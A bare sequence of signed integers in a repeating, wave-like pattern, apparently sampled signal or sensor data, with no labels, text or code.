+-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-46 +-88 +-122 +-84 +-25 +25 +72 +101 +72 +12 +-37 +-84 +-114 +-76 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +84 +25 +-29 +-71 +-109 +-67 +-12 +38 +80 +114 +80 +21 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-29 +-71 +-105 +-67 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-71 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +93 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +63 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +93 +118 +76 +17 +-37 +-84 +-122 +-84 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-25 +29 +72 +101 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +106 +72 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +84 +59 +12 +-33 +-71 +-37 +12 +63 +97 +72 +21 +-29 +-67 +-33 +17 +63 +97 +72 +21 +-29 +-67 +-33 +12 +63 +97 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +4 +51 +89 +114 +76 +12 +-42 +-88 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-25 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-105 +-67 +-8 +46 +84 +59 +12 +-33 +-67 +-33 +17 +63 +101 +72 +21 +-29 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-71 +-42 +8 +59 +93 +68 +21 +-29 +-67 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +12 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-46 +4 +51 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +0 +46 +80 +55 +4 +-42 +-80 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +55 +4 +-42 +-80 +-50 +4 +46 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +63 +12 +-33 +-71 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +51 +89 +55 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +46 +84 +55 +8 +-42 +-84 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-20 +-63 +-29 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +12 +59 +93 +68 +17 +-33 +-67 +-37 +12 +59 +97 +68 +17 +-29 +-63 +-33 +17 +68 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-42 +-80 +-50 +0 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +46 +84 +55 +8 +-42 +-80 +-46 +4 +46 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +63 +8 +-46 +-88 +-122 +-84 +-25 +25 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +84 +29 +-16 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +59 +8 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-50 +0 +51 +84 +59 +8 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +93 +118 +80 +17 +-37 +-84 +-118 +-80 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-25 +29 +72 +106 +72 +12 +-37 +-84 +-114 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +80 +21 +-33 +-76 +-109 +-71 +-12 +42 +84 +59 +12 +-33 +-67 +-37 +12 +63 +101 +72 +21 +-25 +-63 +-33 +17 +68 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +114 +76 +17 +-37 +-88 +-118 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-25 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-20 +29 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-67 +-8 +42 +84 +59 +12 +-33 +-71 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-42 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-84 +-118 +-80 +-20 +29 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +42 +84 +114 +80 +25 +-20 +-59 +-29 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-33 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-37 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +4 +-42 +-80 +-50 +0 +46 +84 +55 +4 +-46 +-80 +-50 +4 +46 +84 +55 +4 +-46 +-84 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +46 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +4 +-46 +-92 +-122 +-84 +-25 +25 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +42 +84 +118 +84 +34 +-16 +-59 +-29 +21 +68 +101 +72 +21 +-29 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-33 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-37 +12 +59 +97 +68 +17 +-33 +-67 +-37 +12 +63 +97 +72 +21 +-25 +-63 +-33 +21 +68 +101 +72 +21 +-29 +-67 +-33 +17 +59 +93 +63 +12 +-37 +-76 +-46 +4 +51 +84 +55 +4 +-42 +-80 +-50 +0 +46 +80 +55 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-46 +-84 +-54 +-3 +46 +80 +51 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-46 +-84 +-50 +0 +46 +84 +55 +4 +-46 +-84 +-50 +0 +46 +80 +55 +4 +-42 +-80 +-50 +0 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +55 +93 +118 +76 +17 +-37 +-84 +-118 +-80 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +12 +-33 +-71 +-37 +12 +63 +97 +72 +21 +-29 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-25 +-63 +-29 +21 +68 +106 +76 +25 +-20 +-59 +-29 +21 +68 +106 +76 +25 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-37 +12 +59 +93 +63 +12 +-37 +-76 +-46 +4 +51 +84 +55 +4 +-42 +-84 +-50 +0 +46 +80 +51 +0 +-46 +-84 +-54 +-3 +42 +80 +51 +0 +-46 +-84 +-54 +-3 +42 +76 +51 +0 +-46 +-84 +-54 +-3 +42 +80 +51 +0 +-50 +-84 +-54 +-3 +42 +80 +51 +0 +-46 +-84 +-50 +0 +46 +80 +51 +4 +-46 +-80 +-50 +0 +46 +80 +55 +4 +-46 +-84 +-50 +0 +46 +84 +55 +4 +-42 +-80 +-50 +4 +51 +84 +55 +4 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-50 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 